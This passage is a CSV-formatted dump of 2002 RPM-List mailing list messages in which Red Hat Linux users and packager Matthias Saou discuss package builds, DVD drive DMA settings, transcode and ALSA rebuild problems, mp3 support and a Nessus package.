file(s) found: > /usr/share/doc/lame/html/basic.html > /usr/share/doc/lame/html/contributors.html > /usr/share/doc/lame/html/examples.html > /usr/share/doc/lame/html/history.html This is a problem with the .spec file not accounting for all the files produced. see: http://www.rpm.org/hintskinks/unpackaged-files/ -- Russ Herrold _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Sun, 06 Oct 2002 12:10:34 +0300",xine src package,Same as in mplayer src package the --with and --without not working correctly I do --without arts and it still want to install with arts Roi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sun, 6 Oct 2002 12:36:28 +0200",Re: xine src package,"Once upon a time, Roi wrote : > Same as in mplayer src package > the --with and --without not working correctly > I do --without arts and it still want to install with arts This time the problem seems to be that I overestimated xine-lib's configure script as it seems that it doesn't support disabling arts... so if you have arts-devel installed, its support will be compiled in :-/ Also, I had made another mistake and added the configure option to disable lirc ot xine-lib when it should have been for xine-ui. All this is fixed in the upcoming ""fr6"" release. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.08 0.15 0.11, AC on-line, battery charging: 100% (1:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Alvie ,rpm-zzzlist@freshrpms.net,06 Oct 2002 20:17:07 -0500,RH 8 no DMA for DVD drive,hdparm -d1 /dev/hdc says Operation not Permitted. DVD playback is very jumpy. Does someone have any ideas on what I can do yo get DMA transfers? Thanks Alvie _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,06 Oct 2002 21:32:39 -0400,Re: RH 8 no DMA for DVD drive,"On Sun, 2002-10-06 at 21:17, Alvie wrote: > hdparm -d1 /dev/hdc says Operation not Permitted. > DVD playback is very jumpy. > Does someone have any ideas on what I can do yo get DMA transfers? > Thanks Alvie Add to /etc/modules.conf: options ide-cd dma=1 -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Alvie ,rpm-zzzlist@freshrpms.net,06 Oct 2002 23:25:15 -0500,Re: RH 8 no DMA for DVD drive,"Thank you, that was exactly what I needed. DVD works great now. 1 more problem? Video-DVDRip worked on RH 7.3 but can't get contents of DVD, last message is 'libdvdread: using libdvdcss 1.2.2 for DVD access'. but it fails. On Sun, 2002-10-06 at 20:32, Chris Kloiber wrote: > On Sun, 2002-10-06 at 21:17, Alvie wrote: > > hdparm -d1 /dev/hdc says Operation not Permitted. > > DVD playback is very jumpy. > > Does someone have any ideas on what I can do yo get DMA transfers? > > Thanks Alvie > > Add to /etc/modules.conf: > > options ide-cd dma=1 > > -- > Chris Kloiber > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Mon, 07 Oct 2002 08:01:24 +0200",apt-get problem ?,When I try to use apt-get upgrade it wants to install libusb while I got it (same version) and all collapse because of this. Roi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 01:27:40 -0500",Re: apt-get problem ?,"On Mon, 07 Oct 2002 08:01:24 +0200, Roi Dayan wrote: > When I try to use apt-get upgrade > it wants to install libusb while I got it > (same version) > and all collapse because of this. I had that too; I removed libusb (I don't think it needed --nodeps) and then 'apt-get -f install' and all was well. ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ angegangen, Schlange-Hften, sein es ganz rber jetzt. Bgel innen fest, weil es eine lange, ssse Fahrt ist. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,RPM-List@freshrpms.net,"Mon, 7 Oct 2002 12:33:02 +0200 (CEST)",a problem with apt-get,"Hi, In my build scripts, I have problems with some of the kernel packages. For kernel-sources, I get : Package kernel-source is a virtual package provided by: kernel-source#2.4.18-3 2.4.18-3 kernel-source#2.4.18-3 2.4.18-3 on running apt-get install kernel-source Now, first of all, this doesn't really tell me what the two options are ;) Second, is there some way I can tell apt-get to install either ? This is done from automatic build scripts so I'd like it to proceed anyway. Thanks, Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> I'm alive. I can tell because of the pain. <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,07 Oct 2002 19:15:11 +0300,Re: RH 8 no DMA for DVD drive,"On Mon, 2002-10-07 at 09:56, Matthias Saou wrote: > > Thank you, that was exactly what I needed. > > DVD works great now. > > BTW, I think I'll kake it so that my ogle package automatically inserts > this ""options ide-cd dma=1"" to /etc/modules.conf! It currently creates the > /dev/dvd link to /dev/cdrom (which will work most of the time, if there's > only one drive) if no /dev/dvd exists. Eek. Maybe it's just me, but I don't think that's a good idea. Outputting a message in %post and providing a README of some kind would be better, as well as perhaps adding a note in %description. -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 18:36:29 +0200",Re: RH 8 no DMA for DVD drive,"Once upon a time, Ville wrote : > > BTW, I think I'll kake it so that my ogle package automatically inserts > > this ""options ide-cd dma=1"" to /etc/modules.conf! It currently creates > > the/dev/dvd link to /dev/cdrom (which will work most of the time, if > > there's only one drive) if no /dev/dvd exists. > > Eek. Maybe it's just me, but I don't think that's a good idea. > Outputting a message in %post and providing a README of some kind would > be better, as well as perhaps adding a note in %description. Why ""Eek""? :-) If no /dev/dvd exists, it'll create it. If /dev/dvd exists, it won't touch it. If someone installs ogle (a DVD player), I'm assuming the hardware is recent enough for software playback and that the drive is a DVD-ROM... all of them support DMA! But since that change requires a reboot or a manual change, I'm still hesitating to integrate it :-/ My goal is to allow users to install a DVD player through synaptic and play DVDs in no time. Outputting a message in the %post section of a package is always a bad idea, putting the tip in the %description sounds good though. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.07 0.14 0.16 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Alvie ,rpm-zzzlist@freshrpms.net,07 Oct 2002 11:35:47 -0500,Re: RH 8 no DMA for DVD drive,"On Mon, 2002-10-07 at 08:59, Matthias Saou wrote: > Once upon a time, Alvie wrote : > > > Thanks, I seem to be having problems with rebuilding transcode from SRC > > it gets confused from previous errors and gives up. > > Could you give the output of the error? > This is only the last part of it.I used 'rpmbuild --rebuild --without avifile transcode.0.6.1-fr2.src.rpm'. af6_decore.cpp:305: 'WAVEFORMATEX' is used as a type, but is not defined as a type. af6_decore.cpp:306: parse error before `if' af6_decore.cpp:308: syntax error before `->' token af6_decore.cpp:313: `wvFmt' was not declared in this scope af6_decore.cpp:313: `avm_wave_format_name' was not declared in this scope af6_decore.cpp:314: `wvFmt' was not declared in this scope af6_decore.cpp:315: `wvFmt' was not declared in this scope af6_decore.cpp:316: `wvFmt' was not declared in this scope af6_decore.cpp:316: ISO C++ forbids declaration of `fprintf' with no type af6_decore.cpp:316: redefinition of `int fprintf' af6_decore.cpp:161: `int fprintf' previously defined here af6_decore.cpp:316: initializer list being treated as compound expression af6_decore.cpp:317: 'WAVEFORMATEX' is used as a type, but is not defined as a type. af6_decore.cpp:318: syntax error before `->' token af6_decore.cpp:321: `fmt' was not declared in this scope af6_decore.cpp:321: `avm_wave_format_name' was not declared in this scope af6_decore.cpp:322: `fmt' was not declared in this scope af6_decore.cpp:323: `fmt' was not declared in this scope af6_decore.cpp:324: `fmt' was not declared in this scope af6_decore.cpp:324: ISO C++ forbids declaration of `fprintf' with no type af6_decore.cpp:324: redefinition of `int fprintf' af6_decore.cpp:316: `int fprintf' previously defined here af6_decore.cpp:324: initializer list being treated as compound expression af6_decore.cpp:327: parse error before `if' af6_decore.cpp:330: syntax error before `->' token af6_decore.cpp:349: ISO C++ forbids declaration of `samples' with no type af6_decore.cpp:349: conflicting types for `int samples' af6_decore.cpp:290: previous declaration as `unsigned int samples' af6_decore.cpp:349: `fmt' was not declared in this scope af6_decore.cpp:350: ISO C++ forbids declaration of `buffer_size' with no type af6_decore.cpp:350: conflicting types for `int buffer_size' af6_decore.cpp:288: previous declaration as `unsigned int buffer_size' af6_decore.cpp:350: `fmt' was not declared in this scope af6_decore.cpp:351: ISO C++ forbids declaration of `buffer' with no type af6_decore.cpp:351: conflicting types for `int buffer' af6_decore.cpp:291: previous declaration as `char*buffer' af6_decore.cpp:351: invalid conversion from `char*' to `int' af6_decore.cpp:352: parse error before `if' af6_decore.cpp:354: syntax error before `->' token af6_decore.cpp:359: ISO C++ forbids declaration of `fflush' with no type af6_decore.cpp:359: redefinition of `int fflush' af6_decore.cpp:288: previous declaration as `unsigned int buffer_size' af6_decore.cpp:350: `fmt' was not declared in this scope af6_decore.cpp:351: ISO C++ forbids declaration of `buffer' with no type af6_decore.cpp:351: conflicting types for `int buffer' af6_decore.cpp:291: previous declaration as `char*buffer' af6_decore.cpp:351: invalid conversion from `char*' to `int' af6_decore.cpp:352: parse error before `if' af6_decore.cpp:354: syntax error before `->' token af6_decore.cpp:359: ISO C++ forbids declaration of `fflush' with no type af6_decore.cpp:359: redefinition of `int fflush' af6_decore.cpp:208: `int fflush' previously defined here af6_decore.cpp:359: invalid conversion from `_IO_FILE*' to `int' af6_decore.cpp:360: `ipipe' was not declared in this scope af6_decore.cpp:360: `sync_str' was not declared in this scope af6_decore.cpp:360: `sync_str' was not declared in this scope af6_decore.cpp:360: ISO C++ forbids declaration of `p_write' with no type af6_decore.cpp:360: redefinition of `int p_write' af6_decore.cpp:209: `int p_write' previously defined here af6_decore.cpp:360: initializer list being treated as compound expression af6_decore.cpp:363: parse error before `while' af6_decore.cpp:368: syntax error before `->' token make[3]: *** [af6_decore.lo] Error 1 make[3]: Leaving directory `/usr/src/redhat/BUILD/transcode-0.6.1/import' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/usr/src/redhat/BUILD/transcode-0.6.1/import' > > Using trancode rpm I can't get transcode command line args to > > work.Although it's been a while since I used it - maybe I forgot how! > This was a dumb mistake on my part. I did'nt have libdvdcss-devel, the transcode command line args work fine now, but not so for DVD::RIP. Thanks for help Alvie > I'm encoding a DVD to DivX4 right now on my home computer, and it works > fine. My current Red Hat 8.0 build of transcode has avifile support > disabled, that may be your problem? It's because gcc 3.2 isn't currently > able to recompile avifile... :-/ > > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi > Load : 0.09 0.12 0.21 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 18:54:30 +0200",Re: transcode build problem (was: RH 8 no DMA for DVD drive),"Once upon a time, Alvie wrote : > This is only the last part of it.I used 'rpmbuild --rebuild --without > avifile transcode.0.6.1-fr2.src.rpm'. > af6_decore.cpp:305: 'WAVEFORMATEX' > is used as a type, but is not defined as a > type. > af6_decore.cpp:306: parse error before `if' [...] All of these ""af6"" are related to avifile6 support :-/ Normally, my 0.6.1-fr2 build of transcode defaults to *not* use avifile, but you can use ""--with avifile6"" to force recompiling against it. Do you have an old avifile installed maybe? Can you check the ""./configure ..."" line run at the beginning of the rebuild process to see if it does include the ""--without-avifile6"" option? Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.23 0.14 0.14 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,07 Oct 2002 20:20:26 +0300,Re: RH 8 no DMA for DVD drive,"On Mon, 2002-10-07 at 19:36, Matthias Saou wrote: > > Eek. Maybe it's just me, but I don't think that's a good idea. > > Outputting a message in %post and providing a README of some kind would > > be better, as well as perhaps adding a note in %description. > > Why ""Eek""? :-) > If no /dev/dvd exists, it'll create it. > If /dev/dvd exists, it won't touch it. I assume that you won't %ghost or remove these and the modules.conf change on uninstall, though. So people who are installing this RPM and are unfortunate enough to have a DVD drive (or just an ordinary CD, non-DVD drive) that doesn't support DMA will be left with a system without a working CD drive, even after removing the RPM. And without ever knowing what struck them. You can't remove the DMA setting from modules.conf either unless you're sure that ogle added it there and nothing else needs it. The /dev stuff isn't that dangerous, but the modules.conf change can be. That's why ""Eek"" :) > If someone installs ogle (a DVD player), I'm assuming the hardware is > recent enough for software playback and that the drive is a DVD-ROM... all > of them support DMA! But since that change requires a reboot or a manual > change, I'm still hesitating to integrate it :-/ A worthy goal... > My goal is to allow users to install a DVD player through synaptic and play > DVDs in no time. Outputting a message in the %post section of a package is > always a bad idea, putting the tip in the %description sounds good though. How about splitting the creation of the symlinks and modules.conf modifications into a separate RPM? -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 19:28:51 +0200",Re: RH 8 no DMA for DVD drive,"Once upon a time, Ville wrote : > I assume that you won't %ghost or remove these and the modules.conf > change on uninstall, though. So people who are installing this RPM and > are unfortunate enough to have a DVD drive (or just an ordinary CD, > non-DVD drive) that doesn't support DMA will be left with a system > without a working CD drive, even after removing the RPM. And without > ever knowing what struck them. You can't remove the DMA setting from > modules.conf either unless you're sure that ogle added it there and > nothing else needs it. I've never heard of any CD-ROM or DVD-ROM drive having problems with DMA... although there probably is since Red Hat decided to default disabling it a few releases back :-/ Normally, even if you try to enable DMA and your device doesn't support it, it simply don't be able to make the change, and that's it. The problem IIRC is with crappy hardware that is supposed to support DMA but doesn't work as expected when it's enabled... maybe Chris could confirm this? ;-) I guess I'll settle for the /dev/dvd link change as described and putting the DMA tip in the %description :-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.00 0.05 0.14 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Alvie ,rpm-zzzlist@freshrpms.net,07 Oct 2002 12:40:26 -0500,Re: transcode build problem (was: RH 8 no DMA for DVD drive),"On Mon, 2002-10-07 at 11:54, Matthias Saou wrote: > Once upon a time, Alvie wrote : > > > This is only the last part of it.I used 'rpmbuild --rebuild --without > > avifile transcode.0.6.1-fr2.src.rpm'. > > > af6_decore.cpp:305: 'WAVEFORMATEX' > > is used as a type, but is not defined as a > > type. > > af6_decore.cpp:306: parse error before `if' > [...] > > All of these ""af6"" are related to avifile6 support :-/ > Normally, my 0.6.1-fr2 build of transcode defaults to *not* use avifile, > but you can use ""--with avifile6"" to force recompiling against it. > > Do you have an old avifile installed maybe? > Can you check the ""./configure ..."" line run at the beginning of the > rebuild process to see if it does include the ""--without-avifile6"" option? > Yes it was there. You guessed the problem correctly in an earlier e-mail There was still remnants remaining from an old failed avifile installation. The transcode src.rpm now builds perfectly. Thank you VERY much! You are GOOD. Alvie > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi > Load : 0.23 0.14 0.14 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Jesse Keating ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 10:38:31 -0700",Re: RH 8 no DMA for DVD drive,"On Mon, 7 Oct 2002 19:28:51 +0200 Matthias Saou wrote: # I've never heard of any CD-ROM or DVD-ROM drive having problems with # DMA... although there probably is since Red Hat decided to default # disabling it a few releases back :-/ When I worked as a PC repair tech for a Computer store chain, I did run across quite a few DVD drives that would lock up if DMA was enabled. It's more of a chipset/drive problem than a Drive by itself. -- Jesse Keating j2Solutions.net Mondo DevTeam (www.mondorescue.org) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 19:45:59 +0200",Re: RH 8 no DMA for DVD drive,"Once upon a time, Jesse wrote : > When I worked as a PC repair tech for a Computer store chain, I did > run across quite a few DVD drives that would lock up if DMA was > enabled. It's more of a chipset/drive problem than a Drive by itself. Chipset? Let me guess : VIA or SiS? :-)))) OK, so I'll follow Red Hat's choice of leaving the DMA setting alone and orienting the users to some page explaining how to enable it ""at your own risk"" ;-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.03 0.09 0.10 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,07 Oct 2002 20:54:48 +0300,Re: RH 8 no DMA for DVD drive,"On Mon, 2002-10-07 at 20:28, Matthias Saou wrote: > I guess I'll settle for the /dev/dvd link change as described and putting > the DMA tip in the %description :-) Thanks, I'll sleep better now :) -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,07 Oct 2002 20:55:23 +0300,Nessus?,Any plans for rolling Nessus RPMs for RH8? Miss it already... -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 20:06:42 +0200",Re: Nessus?,"Once upon a time, Ville wrote : > Any plans for rolling Nessus RPMs for RH8? Miss it already... Well, that's one of the 10 rpm-related mails leftover in my inbox I just mentionned privately ;-) As it's a big piece and needs some testing, I'm just bit lazy about it :-/ I'll try to packages it asap, or at least put up a ""testing"" version first in case I fear some imperfections. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.17 0.17 0.12 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 7 Oct 2002 23:05:21 +0200",Re: Nessus?,"I've put up a new Red Hat Linux 8.0 build of nessus here : http://ftp.freshrpms.net/pub/freshrpms/testing/nessus/ It's 100% untested, although the build should be ok. The new menu was added, but some configuration files may be better with new or different defaults. Feedback is very welcome! Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.06 0.12 0.17 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Tue, 08 Oct 2002 09:27:36 +0200",Re: xmms and .mp3 files.,"humberto@hpcf.upr.edu wrote: >Redhat 8 disables all support for .mp3 files, relinking xmms with a zzmp3 >module. Does anyone have a fixed spec file for xmms? One that can play mp3's >would be best. > > > oh xmms didn't work for me also i used mpg123 i tought its something from me like mplayer not working also and gives black screen _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Tue, 08 Oct 2002 16:05:49 +0200",Re: mplayer not working for me,"Matthias Saou wrote: >Once upon a time, Roi wrote : > > > >>oh xmms didn't work for me also >>i used mpg123 i tought its something from me >> >> > >Nope, this is ""normal"" as Red Hat removed all mp3 support from 8.0 because >of patent and royalty issues :-( >On freshrpms.net, you can find the xmms mp3 plugin as I said, but also >libmad, lame (mp3 encoder), and soon mpg321 as I often used it myself. >Many other players can also play mp3 files, like alsaplayer, xine, mplayer. > > > >>like mplayer not working also and gives black screen >> >> > >This is not normal though... >Try ""mplayer -vo help"" then try usinf various output methods to see if some >do work or not. > >Matthias > > > mplayer works with dga (if i am root) and works with x11 and always worked with sdl (but not now with redhat 8) now it gives black screen window and play the music of the movie. Roi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 8 Oct 2002 16:24:06 +0200",Re: mplayer not working for me,"Once upon a time, Roi wrote : > mplayer works with dga (if i am root) and works with x11 > and always worked with sdl (but not now with redhat 8) > now it gives black screen window and play the music of the movie. Strange, because as I said in an earlier post, it works for me. Maybe you're missing the SDL_image or something? :-/ Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.28 0.17 0.13 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 17:11:21 +0200",Re: ALSA (almost) made easy,"Once upon a time, Joshua wrote : > Just a thought, would it be possible to generalize this ALSA > stuff to make building a kernel with *any* custom/optional/updated > modules an easy thing? I think some scripts or at least step-by-step > instructions would be great. > > For example, to build a kernel RPM with ALSA do: > 1. get the kernel source > 2. get the ALSA source > 3. run the custom-kernel.sh script > ... > > Or a kernel RPM with the lastest wireless LAN drivers: > 1. get the kernel source > 2. get the CVS driver source > 3. run the custom-kernel.sh script > ... > > etc. This wouldn't be worth the effort involved IMHO, and would probably end up in relative breakage of a few systems if not carefully tested. Your first example is a good one, because I really think it's even easier currently : 1. Leave your current kernel as-is 2. Get the ""alsa-driver"" source rpm 3. Rebuild and install resulting packages Drivers that are written to be easily compiled as modules (like ltmodem, NVidia, ALSA etc.) can easily be repackaged separately as rpms and ported as easily for various kernel rpms from the source rpm. Also, what you describe is sort of the opposite of what rpm packaging is in my mind. I see it more as a ""one size fits all"" achievement in the general case. And kernel isn't an exception (although there are packages optimized for various processors) since they all come with just about all the modules you'll ever need. Make that ""one size fits many"" then if you want ;-) Last but not least : The kernel is something I'm trying to keep away from in my packaging since I really don't want to see newbies screwing up their systems because of packages on my website... same goes for GNOME, KDE and other major bits of the distribution since I also want people who happily use my packages to be able to upgrade to the next Red Hat Linux release without having their system turned into another Ximian mess. Matthias PS: Yes Chris, I'm worried about not giving you too much work! Less in fact since you can easily answer ""freshrpms.net!"" to people asking how to play DVDs, right? ;-)))) -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,29 Aug 2002 14:30:08 -0500,Re: ALSA (almost) made easy,"Thanks Matthias. Actually I got all four speakers with subwoofer working in digital out mode with gamixer. (http://www1.tcnet.ne.jp/fmurata/linux/down/) However switching between analog and digital, I'm still baffled. As I have a tuner and cassette deck hooked up to ""Line In"" on a SBLive! 5.1, which is in analog mode. But digital out works great now! On Wed, 2002-08-28 at 23:26, Matthias Saou wrote: > Once upon a time, Lance wrote : > > > Ok, I got ALSA installed and there is no static inbetween mp3s like > > before which is great! My setup is digital 4.1 but sound is only coming > > from front 2 speakers and subwoofer, rear speakers there is no sound. > > Also alsamixer or aumix are unresponsive as well. > > Maybe you could find more info or tips on the ALSA page for your card? > Also, you could try ""alsactl store"", editing /etc/asound.state"" by hand > (for me it contains data similar to what I can control with ""alsamixer"") > then run ""alsactl restore"" and see if you're able to change what you want > that way. > > Matthias > > -- > Matthias Saou World Trade Center > ------------- Edificio Norte 4 Planta > System and Network Engineer 08039 Barcelona, Spain > Electronic Group Interactive Phone : +34 936 00 23 23 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Finding out files larger than given size LOST #324 To find out all files in a dir over a given size, try: find /path/to/dir_of_file -type f -size +Nk [Where N is a number like 1024 for 1mb, and multiples thereof] ####[Discussions on LIH : 04 Jul 2002]######################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,29 Aug 2002 15:52:27 -0500,Re: ALSA (almost) made easy,"I want to thank those involved in making these RPMS available. Thanks guys, thanks Matthias. Lance On Thu, 2002-08-29 at 14:30, Lance wrote: > Thanks Matthias. Actually I got all four speakers with subwoofer > working in digital out mode with gamixer. > (http://www1.tcnet.ne.jp/fmurata/linux/down/) > > However switching between analog and digital, I'm still baffled. As I > have a tuner and cassette deck hooked up to ""Line In"" on a SBLive! 5.1, > which is in analog mode. But digital out works great now! > > On Wed, 2002-08-28 at 23:26, Matthias Saou wrote: > > Once upon a time, Lance wrote : > > > > > Ok, I got ALSA installed and there is no static inbetween mp3s like > > > before which is great! My setup is digital 4.1 but sound is only coming > > > from front 2 speakers and subwoofer, rear speakers there is no sound. > > > Also alsamixer or aumix are unresponsive as well. > > > > Maybe you could find more info or tips on the ALSA page for your card? > > Also, you could try ""alsactl store"", editing /etc/asound.state"" by hand > > (for me it contains data similar to what I can control with ""alsamixer"") > > then run ""alsactl restore"" and see if you're able to change what you want > > that way. > > > > Matthias > > > > -- > > Matthias Saou World Trade Center > > ------------- Edificio Norte 4 Planta > > System and Network Engineer 08039 Barcelona, Spain > > Electronic Group Interactive Phone : +34 936 00 23 23 > > > > _______________________________________________ > > RPM-List mailing list > > http://lists.freshrpms.net/mailman/listinfo/rpm-list > -- > : > ####[ Linux One Stanza Tip (LOST) ]########################### > > Sub : Finding out files larger than given size LOST #324 > > To find out all files in a dir over a given size, try: > find /path/to/dir_of_file -type f -size +Nk > [Where N is a number like 1024 for 1mb, and multiples thereof] > > ####[Discussions on LIH : 04 Jul 2002]######################## > : > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Finding out files larger than given size LOST #324 To find out all files in a dir over a given size, try: find /path/to/dir_of_file -type f -size +Nk [Where N is a number like 1024 for 1mb, and multiples thereof] ####[Discussions on LIH : 04 Jul 2002]######################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Cameron Simpson ,rpm-zzzlist@freshrpms.net,"Fri, 30 Aug 2002 17:03:06 +1000",Re: /home/dude,"On 14:22 29 Aug 2002, Matthias Saou wrote: | Once upon a time, Axel wrote : | > I am now relaxed again ;), and pass this info on. Probably Matthias Saou | > himself is ""dude"", and some package has hardwired a path in his build | > directory. It would be nice to find out which and fix it, but I am using | > too many of the freshrpm suite to narrow it down. | | Indeed, my usual login is ""dude"" (and has been since long before ""The Big | Lebowsky"" came out ;-)), and it seems the some programs wrongly hard code | my home directory when being compiled :-( | For instance : | | [dude@python dude]$ strings /usr/bin/gentoo | grep dude | /home/dude/ | [dude@python dude]$ strings /usr/bin/xine | grep dude | /home/dude/redhat/tmp/xine-root/usr/share/locale | | These should probably be considered bugs in the program's build process | (especially for xine, look at that!), I'll report them upstream if/when I | have some time. This is a standard trap for people building things from source. It's generally wise to have a special ""build"" environment to avoid these hassles. Most likely you have some library loading path in your env. An strace of the app will show it: the-app 2>&1 | grep dude Personally, I have a script called logbuild whose entire purpose is to start a shell with a minimal build environment, logged with script. The prevents this kind of error. Since configure yanks all sorts of ill documented values from one's environment for use in the build (CC, ARCH, various LD_* variables) this kind of thing is necessary. Often the easiest thing is to have a special nonroot account with no .profile for building stuff. Cheers, -- Cameron Simpson, DoD#743 cs@zip.com.au http://www.zip.com.au/~cs/ Do not taunt Happy Fun Coder. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,30 Aug 2002 22:06:08 -0500,Re: alsa-driver rebuild fails with undeclared USB symbol,"I know this is simple but do you have /usr/src/linux and /usr/src/linux-2.4 symlinked to your kernel source directory? Also is there a .config in /usr/src/yourkernelsource/.config ? On Fri, 2002-08-30 at 21:56, Ben Liblit wrote: > I am trying to rebuild the recently posted ALSA driver package for my > kernel. Although I run Red Hat 7.3, I am not using a Red Hat kernel > package: my kernel is lovingly downloaded, configured, and built by > hand. Call me old fashioned. > > Sadly, the RPM rebuild fails part way through: > > % rpm --rebuild 